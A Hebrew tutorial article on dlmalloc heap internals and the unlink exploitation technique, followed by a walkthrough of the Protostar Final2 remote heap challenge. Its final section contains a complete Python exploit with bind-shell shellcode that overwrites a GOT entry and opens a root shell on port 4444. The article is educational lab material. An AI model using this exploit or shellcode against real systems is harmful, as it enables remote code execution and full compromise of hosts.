Unlink Exploitation - Heap Meta-Data Manipulation מאת שי ד. הקדמה ארכיטקטורת פון נוימן מוגדרת ע"י העובדה שגם שורות הקוד להרצה וגם המידע מאוחסנים בזיכר
|
|
- כנרת הירש
- לפני4 שנים
- צפיות:
תמליל
1 Unlink Exploitation - Heap Meta-Data Manipulation מאת שי ד. הקדמה ארכיטקטורת פון נוימן מוגדרת ע"י העובדה שגם שורות הקוד להרצה וגם המידע מאוחסנים בזיכרון. אי לכך חייבת להיות הפרדה בזיכרון בין קטעי זיכרון המכילים שורות קוד להרצה segment( )text לבין שאר קטעי הזיכרון המכילים מידע segment(.)data במערכות הפעלה מודרניות יש יותר מ- 2 קטעי זיכרון ואכן משתמשים בקטע זיכרון אחד שמכיל את שורות הקוד להרצה, אבל משתמשים ביותר מ- 3 קטעי זיכרון לניהול המידע. - Code/Text Segment מכיל את ההוראות להרצה. הוא ניתן רק לקריאה ולא לכתיבה - Data Segment מכיל משתנים סטטיים ומשתנים גלובליים מאותחלים - Bss Segment מכיל משתנים סטטיים ומשתנים גלובליים לא מאותחלים Last-In First- אחסון זמני לנתונים ולהעברת פרמטרים לפונקציות. עובדת בשיטת - Stack Segment Out והגודל של המחסנית נקבע ע"פ הצורך בשעת הקומפילציה - Heap Segment אחסון למידע שמוקצה באופן דינאמי )בשעת ריצה( והגודל שלו לא קבוע ומשתנה בהתאם לצורך הרבה מאמרים נכתבו על חולשות buffer overflow מבוססות מחסנית למיניהם, כמו המאמר המיתולוגי Smashing The Stack For Fun And Profit והמאמר המעולה של שי רוד Buffer overflows 101 מהגיליון האחד עשר של המגזין. במאמר זה אנו נסקור חולשה ביישום של הפונקציה free() שתאפשר לנו הרצת קוד מלאה.
2 The Heap נתחיל בהצגה של ה- Heap. הערמה )Heap( הינה קטע זיכרון לאחסון מידע שמוקצה באופן דינאמי. ניתן הפונקציונליות הזאת נעשית על ידי C להגדיר משתנה שרק בזמן הריצה יקבע הגודל שלו. בשפת הפונקציה המוכרת :malloc() הפונקציה תקצה גודל למשתנה על המחסנית בשעת הריצה בלבד. בגלל שאנו אחראים על קטע הזיכרון הזה, אנו צריכים גם כן לתפעל אותו ובמידה וסיימנו עם משתנה מסוים אנו צריכים לשחרר אותו בשביל לתת מקום למשתנים אחרים. פעולת השחרור נעשית על ידי הפונקציה :free() נכתוב קטע קוד קצר בשפת C שממחיש את העניין: void main() { unsigned int sz; char* name; printf("how long your name is: "); scanf("%d", &sz); name = (char*)malloc(sz); printf("%s", name); free(name); ביקשנו מהמשתמש להכניס את שמו באורך שיבחר ועל פי הקלט שלו אנו מקצים בהתאם בתים בזיכרון. לאחר שסיימנו להשתמש במשתנה הזה, שחררנו את הזיכרון. נבחן כעת איך הדברים עובדים מאחורי הקלעים. 2
3 איך הערימה עובדת? Dlmalloc - malloc.c implementation by Doug Lea בשביל לשנות את הגודל של הערמה )Heap( יש System Call הנקרא: brk() שמשנה את הגודל של קטע זיכרון. תיאור של הפונקציה מה- :Linux Manual ובנוסף יש System Call הנקרא mmap() היוצר מקטע זיכרון חדש. תיאור הפונקציה: האם בשביל להקצות משתנה חדש בערמה נצטרך להשתמש ב-() brk כל פעם בשביל להגדיל את הגודל שלה? זו בעיה מכיוון שזהו System call מאוד "בזבזני" מבחינת משאבים. כדי לפתור את הבעיה הנ"ל נוצרו פונקציות ניהול זיכרון בשפת.malloc() / calloc() / realloc() / free() :C הפונקציות הנ"ל בעצם משתמשות בשירות של ה- Calls System שהזכרנו. לדוגמא, הפונקציה malloc() מחלקת קטע זיכרון מאוד גדול שהובא על ידי קריאת המערכת brk() לחלקים ונותנת למשתמש חלק על פי הבקשה בפונקציה malloc() וכך בשעת הקריאה לפונקציה free() הפונקציה מחליטה ע"פ הבדיקות שלה, שבחלקן ניגע בהמשך, אם לחבר את חלק הזיכרון הזה לחלק אחר וכך להחזיק קטע זיכרון גדול או לשמור אותו בנפרד, ובכך מצמצמת בהרבה את השימוש בקריאת המערכת.brk() ישנם הרבה מימושים לפונקציות הנ"ל וישנן אף חברות שמשתמשות במימוש פרטי משלהן. במאמר זה נדון בחולשה שנמצא במימוש שהיה נפוץ בעבר, הנקרא dlmalloc על שמו של הכותב.Doug Lea נחזור לארגון הערמה :)Heap( ה- Heap מכילה בתוכה קטעי זיכרון בגדלים שונים. )הקטעים יכולים להיות קטעים בשימוש או קטעים פנויים. חלק מהקטעים הפנויים מוזגו לקטע גדול במידת הצורך(. הערמה שומרת גם כן מידע אודות ה- Chunk שהיא מחזיקה )Meta-data( כגון מיקום של ה- Chunks גודל של כל בלוק, גודל של בלוק קודם לפני ואחרי החלק המוקצה/הפנוי ומשתנים גלובליים. 3
4 Allocated Chunk: chunk -> prev_size 0x4 Bytes size 0x4 Bytes mem -> data n Byte :... : nextchunk -> prev_size... [Figure(1) - Allocated Chunk from dlmalloc source] 4 הבתים הראשונים מחזיקים את גודל הבלוק הקודם במידה והוא לא מוקצה ובמידה והוא כן מוקצה מקרא: הבתים האלה משמשים כחלק מה- Field Data של הבלוק הקודם. השאלה המתבקשת היא למה צריך בבלוק הנוכחי את הגודל של הבלוק הקודם - נענה על כך מיד. 4 בתים אחריהם מחזיקים את הגודל של הבלוק הנוכחי. שדה ה- mem זהו המצביע שאנו מקבלים כערך חזרה של קריאה לפונקציה :malloc() char *mem = (char*)malloc(16); // (mem) -> Points to the data field in the Chunk. // (mem -4) -> Points to the size field in the Chunk. // (mem -8) -> Points to the prev_size field in the Chunk. כל קריאה לפונקציה malloc() מיושרת )aligned( ל- 8 בתים, כלומר הגודל של כל בלוק בקריאה ל-() malloc הינו: (8 + (RequestedBytes / 8) * 8) מכאן יוצא שתמיד 3 הביטים הראשונים מאופסים ולכן משתמשים בהם בתור.Special Attributes void main() { char* mem; char* mem0; הביט הראשון נקרא - PREV_INUSE והוא מעיד אם הבלוק הקודם בשימוש או לא. הביט השני נקרא - IS_MAPPED - והוא מעיד אם הבלוק ממופה או לא. הביט השלישי - לא בשימוש. נבחן איך זה נראה בזיכרון על ידי הרצת התוכנית: )במימוש של )dlmalloc mem = (char*)malloc(0x80); mem0 = (char*)malloc(0x80); scanf("%s", mem); scanf("%s", mem0); free(mem); free(mem0); 4
5 נשים Breakpoint אחרי ה-() scanf הראשון ונמלא את הבלוק הראשון עם * 128 A ונראה את המצב ה-.Heap ניתן לראות שהערמה מתחילה עם 4 בתים שהם ה- Field Prev_Size והואיל וזה הבלוק הראשון אז הוא מאופס. )נזכיר: "4 הבתים הראשונים זה הגודל של הבלוק הקודם במידה והוא לא מוקצה, במידה והוא כן מוקצה הבתים האלה משמשים כחלק מה- Field Data של הבלוק הקודם."( לאחר מכן יש 4 בתים בעלי הערך: 0x89. כאמור הביט האחרון מעיד על ה- BIT PREV_INUSE 0x8 ועוד data של (128)0x80 הראשון הוא תמיד דלוק בבלוק הראשון. ו- 0x88 בתים שזה.Headers ובבלוק של ה- בבלוק השני ה- Headers. הראשון מאופס כי הבלוק הקודם בשימוש. הגודל הוא 0x89 מאותה סיבה של הבלוק הקודם, רק שהוא מאופס עם אפסים כי לא שמנו בו ערכים עדיין. עכשיו בואו נחשוב מה אנחנו היינו עושים אם אנחנו היינו צריכים לעשות את פעולת האלגוריתם. אם אנחנו צריכים לבצע את הפקודה הבאה:,free(currentChunk) קודם כל אנחנו צריכים לוודא שה-בלוק אכן בשימוש. נוודא זאת, כמו שראינו, על ידי הבדיקה של הבלוק הבא בזיכרון ואם הביט PREV_INUSE בשימוש. נגיע לבלוק הבא באמצעות ה- Field.Size לכן: nextchunk = currentchunk + (*(currentchunk-4) & ~0x1) ועכשיו נבדוק את הביט :PREV_INUSE iscurrentallocated = *(nextchunk-4) & 0x1 5
6 ברגע שהפונקציה free() מופעלת, יש מספק בדיקות ומשחררים את הבלוק הזה. מקרא: Free Chunk: chunk -> prev_size size mem -> fd bk (old memory, can be zero bytes) : : nextchunk -> prev_size... : : (Figure(2) Free Chunk from dlmalloc source) שדה ראשון: הגודל של הבלוק הקודם שדה שני: הגודל של הבלוק הנוכחי שדה שלישי: Forward Pointer שדה רביעי: Backward Pointer שדה חמישי: זיכרון ישן כמו שציינו הערמה )Heap( היא בעצם בריכה של זיכרון עם בלוקים מוגדרים של זיכרון. חלקם פנויים, חלק בשימוש וחלק בלוקים משוחררים בגדלים שונים. בשביל לתחזק את כל הבלוקים הפנויים שיש בבריכת הזיכרון הזאת קיימת רשימה מקושרת של בלוקים משוחררים, שבאמצעותה אם נרצה להקצות עוד בלוק זיכרון, ניתן לו קודם ממה ששוחרר כבר במידה ויש ושהוא בגודל המספיק. איך זה קורה: נראה את הרשימה המקושרת בזיכרון. נקצה 4 בלוקים של זיכרון בערמה ונכניס לתוכם ערכים. נשחרר קודם את הבלוק הראשון ואז את השלישי, הרביעי והראשון. בשביל שנוכל לראות את הקשר בין הבלוק הראשון לשלישי ובין השלישי לראשון לפני ה- Merge. נשים breakpoint בשורה 20 ונציג את הזיכרון: void main() { char* mem; char* mem0; char* mem1; char* mem2; mem = (char*)malloc(0x80); mem0 = (char*)malloc(0x80); mem1 = (char*)malloc(0x80); 6
7 mem2 = (char*)malloc(0x80); scanf("%s", mem); scanf("%s", mem0); scanf("%s", mem1); scanf("%s", mem2); free(mem); free(mem0); free(mem1); // <-- Lets set breakpoint here. free(mem2); 7
8 ה( נזכור כי בשלב זה של התוכנית הבלוק הראשון והשלישי משוחררים. ניתן לראות כי: Header- הרביעי בבלוק המשוחרר שמכיל )backward pointer פוינטר ל- 0x804a xC 0x804a110 )הבלוק השלישי שהוא משוחרר( ב- 0x804a x8 )ה- Header השלישי בבלוק המשוחרר שמכיל )forward pointer מצביע לכתובת זבל כי זה הבלוק הראשון ואין בלוק משוחרר לפניו ב- 0x8 0x804a110 + )ה- Header השלישי בבלוק המשוחרר שמכיל )forward pointer מצביע ל- 0x804a000 שזה הבלוק הפנוי הראשון ברשימה ב- 0x804a xC )ה- Header הרביעי בבלוק המשוחרר שמכיל )backward pointer שוב כתובת זבל כי זה הבלוק האחרון ברשימה של הבלוקים המשוחררים חדי עין ישימו לב שאף על פי ששיחררנו את הבלוק הראשון המצביע לבלוק השלישי הוא ה- backward pointer- ולא ה- pointer,forward כלומר שהרשימה המקושרת מתחילה מהסוף ככל שהבלוק המשוחרר נמצא עמוק יותר בערמה, כך הוא מופיע מוקדם יותר ברשימה )הבלוק הראשון בערמה במידה והוא משוחרר הוא ה- Tail (. זה נעשה כך לשם ייעול התהליך וכן, זה גם הגיוני על מנת "לסתום" חורים בזיכרון )ולצמצם את הערמה במידת הצורך(. עדיף לתת למשתמש קודם בלוקים משוחררים שהם בסוף הערמה, מאשר לתת לו את הבלוק הראשון ובשביל לא לרוץ כל פעם לסוף הרשימה בשביל להוציא בלוק, ניתן לו פשוט מההתחלה ונעדכן את ה- Head. בבלוק השני )המוקצה( ניתן לראות שב- Header הראשון יש שם 0x88 שזה הגודל של הבלוק הפנוי לפניו. ובכן ב- Header השני ניתן לראות שהביט של PREV_INUSE כבוי כי הבלוק לפניו לא בשימוש. וזו הרשימה המקושרת של הבלוקים המשוחררים שהערמה מחזיקה. 8
9 The Merge אם עשינו free(p) ו- p צמוד ל- p0 שהוא גם בלוק משוחרר, בשביל לשמור על מספר נמוך של בלוקים משוחררים לשימוש ומספר נמוך יותר של צמתים ברשימה המקושרת, יתבצע מיזוג בין שני הבלוקים במידה והם מעל 0x80. נראה את תהליך המיזוג בפועל, נשנה מעט את הקוד: void main() { char* mem0; char* mem1; char* mem2; char* mem3; char* mem4; mem0 = (char*)malloc(0x80);... scanf("%s", mem0);... free(mem0); free(mem3); free(mem2); // <-- Let's set breakpoint here. free(mem4); free(mem1); נשים Breakpoint ב-() free השלישי. מה שאנו אמורים לראות בזיכרון זה שהבלוק הראשון יצביע לבלוק הרביעי ולהפך. 9
10 ניתן לראות שה- bk של הבלוק הראשון אכן מצביע לבלוק הרביעי וה- fd של הרביעי מצביע לראשון. נריץ עוד שורה אחת בקוד שמשחררת גם את הבלוק השלישי ונראה את ה- Heap. הרשימה המקושרת השתנתה! ניתן כעת לראות: הבלוק הראשון מצביע כעת לבלוק השלישי )0x804a110( ולא לרביעי )0x804a198( כמו קודם. אין מצביע לבלוק הרביעי. הגודל של הבלוק השלישי השתנה מ- 0x89 ל- 0x111 למה זה קרה? כי בוצע מיזוג בין הבלוק השלישי לבלוק הרביעי. אם נבדוק ב- Source של dlmalloc בתהליך המיזוג, נראה את התנאי הבא: if (!nextinuse){ unlink(nextchunk,bk,fwd); size += nextsize; יש בקוד בדיקה אם הבלוק הבא לא בשימוש. במידה והוא משוחרר ברשימה אפשר לצרף אותו לבלוק הנוכחי. פעולה זו נעשית ע"י שליחה למאקרו unlink שתוציא אותו מהרשימה המקושרת ועדכון הגודל. 01
11 מה שנעשה: הוצאנו את הבלוק הרביעי מהרשימה כי הוא צמוד לבלוק השלישי שכעת שחררנו. עדכנו את הגודל מ- 0x89 -<0x111 שזה בעצם 0x89 + 0x88 )לא נשכח שהביט הראשון מכובה כי הבלוק הקודם משוחרר( #define unlink(p,bk,fd){ FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; The Merge - Continue & The Vulnerable Macro המאקרו שראינו בתנאי הקודם המנתק בלוק מהרשימה ממומש כך: המאקרו ממש פשוט: (FD->bk = BK) => NextChunk+12 = CurrentChunk->PreviousChunk (BK->fd = FD) => PreviousChunk+8 = CurrentChunk->NextChunk )רשמתי +12 ו-)+ 8 ( בשביל להגיע ל- Headers הנכונים של Bk ו- fd (. בשביל להמחיש את זה בבירור, נריץ void main() { char* mem0;... char* mem6; mem0 = (char*)malloc(0x80);... scanf("%s", mem0);... את הקטע קוד הבא: free(mem0); free(mem3); free(mem5); free(mem2); // <-- 1st breakpoint here. free(mem4); // <-- 2nd breakpoint here
12 נעצור ב- breakpoint הראשון ונראה את מצב הערמה: הרשימה המקושרת הקלאסית שאנחנו אוהבים, בין הבלוק הראשון לרביעי לשישי. 02
13 נעצור עכשיו ב- breakpoint השני: אנו רואים: 03
14 הבלוק הראשון והשישי כבר לא מצביעים לבלוק הרביעי, השלישי לרביעי. אלא יש מצביעים ביניהם, ויש מיזוג בין הבלוק (FD->bk = BK) => NextChunk(mem0)->pointerToBK = CurrentChunk(mem3)- >PreviousChunk(mem5) (BK->fd = FD) => PreviousChunk(mem5)->pointerToFD = CurrentChunk(mem3)- >NextChunk(mem0) יש לזכור שככל שהבלוק קודם בערמה הוא הבלוק האחרון ברשימה המקושרת. אתם מצליחים להבין את הבאג פה? מה היה קורה אם היינו יכול להפוך את זה ל: FD->bk = BK [Global Offset Table Address] = [Wanted Function Addr] BK->fd = FD [Wanted Function Addr] = [Global Offset Table Address] Global Offset Table Global offset Table או בקיצור GOT היא טבלה שמכילה מצביעים לפונקציות שיש לנו בתוכנית. לא אתייחס לצורך בה, אוסיף מקורות להרחבת הנושא למטה. מה שחשוב לנו בGOT - לענייננו הוא שאם קראנו לפונקציה printf ע"י.call 0x הכתובת הזאת היא לא הכתובת של הפונקציה בזיכרון, אלא זו כתובת למיקום בטבלת ה- GOT ששם יש מצביע לכתובת printf() כלומר: 0x > 0xSomeAddr -> printf Addr ואם נשנה את הערך של 0xSomeAddr לכתובת של פונקציה אחרת, כשנריץ את השורה,call 0x זה יקפוץ לפונקציה שאנחנו בחרנו. אי אפשר לשים סתם כתובת של פונקציה, שימו לב לשורה הבאה: BK->fd = FD [Wanted Function Addr] = [Global Offset Table Address] זה יגרוס כתובת של פונקציה וכתובות של פונקציות נמצאות ב- Segment Text וזה קטע קוד שלא ניתן לכתוב עליו. מה שכן ניתן לעשות זה להשתמש ב- Heap כדי להכניס לשם Shellcode ואז לשלוח לפונקציה את הכתובת שלו. אם לדוגמא הצלחנו לשנות את ה- 0xC GOT s printf Address - ל- Shellcode שלנו, כל פעם שתהיה בתוכנית קריאה לפונקציה printf() זה יריץ את ה-!Shellcode הערה: חשוב לא לשכוח -0xC כי זה מוסיף אוטומטית +12 במאקרו בשביל להגיע ל- header.bk (FD->bk = BK) => NextChunk+12 = CurrentChunk->PreviousChunk (BK->fd = FD) => PreviousChunk+8 = CurrentChunk->NextChunk 04
15 איך נבצע זאת? בשביל להגיע לפונקציה הזאת ולבצע את שינוי הכתובות אנחנו צריכים לגרום לפונקציה free() לעבד בלוק שה- FD שלו יהיה הכתובת שאנו רוצים לגרוס Address( )Got ו- BK עם הכתובת שאנחנו רוצים לגרוס )כתובת שנמצאת בערמה ומכילה את ה- Shellcode (. נחזור ל- source :dlmalloc if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd);... if (!nextinuse) { unlink(nextchunk, bck, fwd); size += nextsize; אנו צריכים לקיים את אחד התנאים בשביל להפעיל את המאקרו הבעייתי עם הערכים שנרצה. אנו צריכים לגרום לפונקציה לחשוב שהבלוק הנוכחי פנוי - ונעשה את זה ע"י השמה של ערך זוגי ב- Size של הבלוק הבא. בערכים שנציב צריך גם שה- prev_size וגם ה- size של הבלוק הבא יהיו בעלי ערך לא גדול מידי כי ב- free( ) יש מקומות שהוא מוסיף אותם ואם יהיה ערך גדול מידי זה יצביע למקום לא תקף מבחינת זיכרון ויגרום ל- fault.segmentation אם נצמד למימוש של Solar Designer נשתמש ב- 0xFFFFFFFC הנפוץ )יש הרבה מימושים שונים לניצול הבעייתיות פה(: ערך זוגי בלי Null-bytes לא מספר גדול מידי מה שיקרה: כשהאלגוריתם ירצה לבדוק אם הבלוק הנוכחי פנוי הוא ייגש ל- Header Size של הבלוק הבא ויבדוק את הביט הראשון שלו ובגלל שהערך ששמנו זה - 4 )0xFFFFFFFC( הוא ייגש ל- prev_size של הבלוק הנוכחי שהביט של ה- prev_inuse יהיה מכובה כי שמנו שם ערך של - 4 )0xFFFFFFFC( האקספלויט יראה ככה: [Previous Chunk With Shellcode][0xFFFFFFFC][0xFFFFFFFC][Global offset table][shellcode Location] "עבדנו" על הפונקציה והחלפנו את הבלוק הבא בבלוק הנוכחי שהוא תחת שליטתנו המלאה כשנציף את הבלוק הראשון. 05
16 זה יראה ככה: סיכום החלק התיאורטי מה עשינו עד כה? התייחסנו בהתחלה לסוגים שונים של קטעי זיכרון במערכות הפעלה המודרניות למדנו על ה- Heap, חקרנו את malloc.c במימוש של Doug Lea ואיך מוצגים בלוקים במימוש הזה התייחסנו להבדל בין בלוק משוחרר לבלוק מוקצה למדנו על Special Attributes של ה- Headers השונים של הבלוקים ראינו בזיכרון את הרשימה המקושרת של הבלוקים המשוחררים וראינו את תהליך המיזוג של בלוקים בפועל חקרנו את המימוש של הפונקציה free( ) וראינו את הבעייתיות במימוש הזה לבסוף הסברנו איך ניתן להשתמש בבעייתיות הזאת ול"עבוד" על הפונקציה free( ) ולגרום לתוכנית להריץ Shellcode 06
17 Implementation בשביל להבין את הנושא לעומק נפתור את אתגר מהאתר.Exploit-exercises.com אתר זה מספק מספר מכונות וירטואליות להורדה עם אתגרים והסבר על האתגרים במספר רחב של נושאים בהם: privilege.escalation, vulnerability analysis, exploit development, reverse engineering יש באתר 4 מכונות להורדה )בכתובת,) כאשר כל מכונה מתמקדת בתחום אחר. המכונה שאנחנו נעבוד עליה מתמקדת ב- development exploit ללא הגנות מודרניות. זה הבסיס למכונה הבאה Fusion שזה exploit development ו- mechanism bypass anti-exploitation כמו ASLR,DEP,SSP ועוד. אנו נתמקד באתגר האחרון של המכונה.Final2 - protostar האתגר הוא.Remote Heap Exploitation האתגר שנפתור הינו:. באתר הם לא מפרטים יותר מידי, אבל יש את ה- Source של האתגר, וניתן לראות שאנחנו צריכים להתחבר לתוכנה מרחוק על ידי פורט int get_requests(int fd) { char *buf; char *destroylist[256]; int dll; int i; dll = 0; while(1) { if(dll >= 255) break; buf = calloc(reqsz, 1); if(read(fd, buf, REQSZ)!= REQSZ) break; if(strncmp(buf, "FSRD", 4)!= 0) break; check_path(buf + 4); dll++; for(i = 0; i < dll; i++) { write(fd, "Process OK\n", strlen("process OK\n")); free(destroylist[i]); ניתן לראות מהקוד כי לתוכנית יש שתי בדיקות )בפונקציה )get_requests( ) שצריך לקיים בשביל לא לצאת מהתוכנית: הקלט צריך להיות בדיוק 128 בתים. הקלט צריך להתחיל עם המחרוזת. FSRD 07
18 אחרי שנעבור את שתי הבדיקות האלה נגיע לפונקציה :check_path( ) void check_path(char *buf) { char *start; char *p; int l; /* * Work out old software bug */ p = rindex(buf, '/'); l = strlen(p); if(p) { start = strstr(buf, "ROOT"); if(start) { while(*start!= '/') start--; memmove(start, p, l); printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf?"yes" : "no", start - buf); 1. הפונקציה מחפשת את התו / האחרון בקלט שומרת את האורך של המחרוזת עד התו מסעיף 1. מחפשת את המילה ROOT בקלט. מחפשת את התו / הראשון לפני המילה.ROOT כאשר היא מוצאת אחד כזה היא מעתיקה את המחרוזת מסעיף 1 למחרוזת )המחרוזת אחרי ה- / האחרון( למחרוזת מסעיף 3 )גורסת את המילה )ROOT מה החולשה פה? במידה ונשלח קלט שיעמוד בכל התנאים, הוא ישב לו ב- Heap ואז נשלח עוד קלט אבל לא נשלח / לפני המילה,ROOT זה ימשיך לחפש את התו באזור הזיכרון של ההודעה הראשונה ואז עקב סעיף 5, נצליח לשנות data מה- heap. נחשוב על זה כך: אם לא יהיה / לפני ה- ROOT, אבל יהיה ממש בסוף ההודעה הראשונה, המידע שייכתב עקב סעיף 5 ישנה את ה- prev_size Size & של הבלוק המכיל את ההודעה הנוכחית! ההודעה הראשונה תהיה: ההודעה השנייה תהיה: FSRD/ROOT/Shellcode(Padding*(128 - len(shellcode - 11))/ FSRDROOT/[0xFFFFFFFC][0xFFFFFFFC][Function Addr in GOT - 12][Shellcode Addr in Heap] אם נחזור ל- Source נוכל לראות שיש את הפונקציה write( ) שהכתובת שלה היא:.0x0804d41C נוריד מזה 12 בתים והגענו לכתובת: 0x0804D410 א. 08
19 8 נחנו צריכים: ליצור תקשורת למכונה שעליה האתגר, במקרה שלי בפורט ליצור Shellcode בתים. ל- Heap, להכניס אותו לקלט הראשון ליצור בלוק אחר, שלא יעבור את ה- 128 בתים, ושיכיל את ה- Shellcode שלנו. ולשמור את הכתובת שלו בערמה פחות להכין את הבלוק השני שידרוס את ה-הHeaders עם הערכים הרצויים לאקספלויט. להריץ ולבדוק מה קרה בשרת. שימו לב שפה אנו נפעיל את התנאי של הראשון של המיזוג, כלומר מיזוג עם הבלוק הקודם, אבל המימוש import socket import struct import time נשאר זהה. הנה ה- :POC # Where our ShellCode Laies: HeapAddr = struct.pack("i", 0x0804e014) # Write's GOT Addr - 0xC WritAddr = struct.pack("i", 0x0804d410) # Size of Faking Chunks. Prev_Size = struct.pack("i", 0xfffffffc) Size = struct.pack("i", 0xfffffffc) # Shellcode opens port on Shellcode from : Shellcode = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89" Shellcode += "\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68\x11\x5c\x66" Shellcode += "\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89" Shellcode += "\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80" Shellcode += "\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3" Shellcode += "\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0" Shellcode += "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" Shellcode += "\xe3\x52\x53\x89\xe1\xcd\x80" # Connection to the Server. s = socket.socket(socket.af_inet,socket.sock_stream) s.connect((" ", 2993)) # The payload must contian FSRD or it will exit. MustWord = 'FSRD' NopLength = (125 - ((len(mustword)) + len ("/ROOT/") + len(shellcode))) NopSlide = '\x90' * (NopLength - 1) # -1 because we use '/' in the end. FirstChunk = MustWord + "/ROOT/" + NopSlide + Shellcode + 'AAA/' # Padding & '/' print '[+] Sending First Chunk' s.send(firstchunk) time.sleep(2) print '[+] Generating The Malicious Chunk' 09
20 # The Malicious Chunk, MustWord + ROOT/ so it wont exit, Fake Addrs * 2 + Address. + Padding to complete to 128 MalChunk = MustWord + 'ROOT/' +Prev_Size + Size + WritAddr + HeapAddr + 'D' * 128 MalChunk = MalChunk[:128] # Length must be 128. print '[+] Sending Malicious Chunk' s.send(malchunk) time.sleep(2) print '[-] Closing connection...' s.close() # Connecting to the server as ROOT. Shell = socket.socket(socket.af_inet,socket.sock_stream) Shell.connect((" ", 4444)) Shell.send("whoami\n") data = Shell.recv(999) if data == "root\n": print "[+] OWNED!" else: print "[-] FAILED!" while True: cmd = raw_input("# ") Shell.send(cmd+'\n') print Shell.recv(999) והתוצאה: הרשאות root מלאות. 21
21 דברי סיכום אומנם ברוב המערכות כבר לא משתמשים במימוש של Doug lea וגם אם כבר כנראה בגרסה המעודכנת שלו, אבל זו עדיין חולשה מאוד מעניינת וכדאי להכיר אותה. אני רוצה להאמין שלמדנו מהמאמר הזה איך לחקור קטע או פונקציונליות כלשהי ואיך להגיע ממחקר דרך חשיבה עד ל- concept.proof on I hope I managed to prove that exploiting buffer overflows should be an art (Solar Designer) על המחבר: שי ד. בן 20 אוהב ללמוד כל תחום טכנולוגי שהוא, בעיקר Exploitation development 0xOfficialSnd@gmail.com אשמח לעזור בכל שאלה או התייעצות ב:.Engineering ו- Reverse היה לי חשוב לתרום למגזין שתרם לי רבות בפן הטכנולוגי ונותן לי ציפייה לסוף החודש, לאפיק וניר על העבודה ותודה לרועי י, על העזרה והלמידה המשותפת. תודה כמובן מקורות להרחבה: על : GOT :Dlmalloc implementation The shellcoder s handbook 2 nd edition Chapter 5 Introduction to heap overflows once upon a free 20
PowerPoint Presentation
מבוא למדעי המחשב תירגול 6: כתובות ומצביעים 1 תוכנייה מצביעים מצביעים ומערכים, אריתמטיקה של מצביעים 2 3 מצביעים תזכורת- כתובות זיכרון הזיכרון כתובת התא #1000 #1004 #1008 ערך השמור בתא תא 10-4 לא מאותחל
קרא עודPRESENTATION NAME
נכתב ע"י כרמי גרושקו. כל הזכויות שמורות 2010 הטכניון, מכון טכנולוגי לישראל הקצאה דינמית )malloc( מערכים דו-מימדיים סיבוכיות: ניתוח כזכור, כדי לאחסן מידע עלינו לבקש זכרון ממערכת ההפעלה. 2 עד עכשיו: הגדרנו
קרא עודפתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9.
פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. הדפסה ראשונה: מתבצעת לולאה שרצה מאפס עד אורך המחרוזת.
קרא עודסדנת תכנות ב C/C++
פקולטה: מדעי הטבע מחלקה: מדעי המחשב שם הקורס: מבוא למחשבים ושפת C קוד הקורס: 2-7028510 תאריך בחינה: 15.2.2017 משך הבחינה: שעתיים שם המרצה: ד"ר אופיר פלא חומר עזר: פתוח שימוש במחשבון: לא הוראות כלליות:
קרא עודSlide 1
מבוא למדעי המחשב תירגול 7: פונקציות 1 מה היה שבוע שעבר? לולאות מערכים מערכים דו-ממדיים 2 תוכנייה )call by value( פונקציות העברת פרמטרים ע"י ערך תחום הגדרה של משתנה מחסנית הקריאות 3 פונקציות 4 הגדרה של
קרא עודSlide 1
מבוא למדעי המחשב תירגול 4: משתנים בוליאניים ופונקציות מבוא למדעי המחשב מ' - תירגול 4 1 משתנים בוליאניים מבוא למדעי המחשב מ' - תירגול 4 2 ערכי אמת מבחינים בין שני ערכי אמת: true ו- false לכל מספר שלם ניתן
קרא עודMicrosoft Word B
מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: 1. ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב
קרא עודהגשה תוך שבוע בשעת התרגול
מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב את
קרא עודמבוא למדעי המחשב - חובלים
החוג למדעי המחשב אוניברסיטת חיפה מבוא למדעי המחשב סמסטר א' תשע"ג בחינת סיום, מועד ב', 20.02.2013 מרצה: ריטה אוסדצ'י מתרגלת: נעמה טוויטו מדריך מעבדה: מחמוד שריף משך המבחן: שעתיים חומר עזר: ספר של Kernighan
קרא עודSlide 1
בעיית התוכנית הגדולה C תוכנית גדולה המבצעת פעולות רבות, יכולה להפוך לקשה מאוד לניהול אם נשתמש רק בכלים שלמדנו עד כה: 1. קשה לכתוב ולנפות את התוכנית,. קשה להבין אותה, 3. קשה לתחזק ולתקן אותה, 4. קשה להוסיף
קרא עודSlide 1
מבוא לשפת C תירגול 8: פונקציות שבוע שעבר... מערכים מיזוג מערכים ממויינים מערכים דו-ממדיים מבוא לשפת סי - תירגול 8 2 תוכנייה פונקציות ברמת התקשורת הבין-אישית חלוקה לתתי בעיות בדומה למפתח של ספר קריאות גבוהה
קרא עודתכנות מונחה עצמים א' – תש"ע
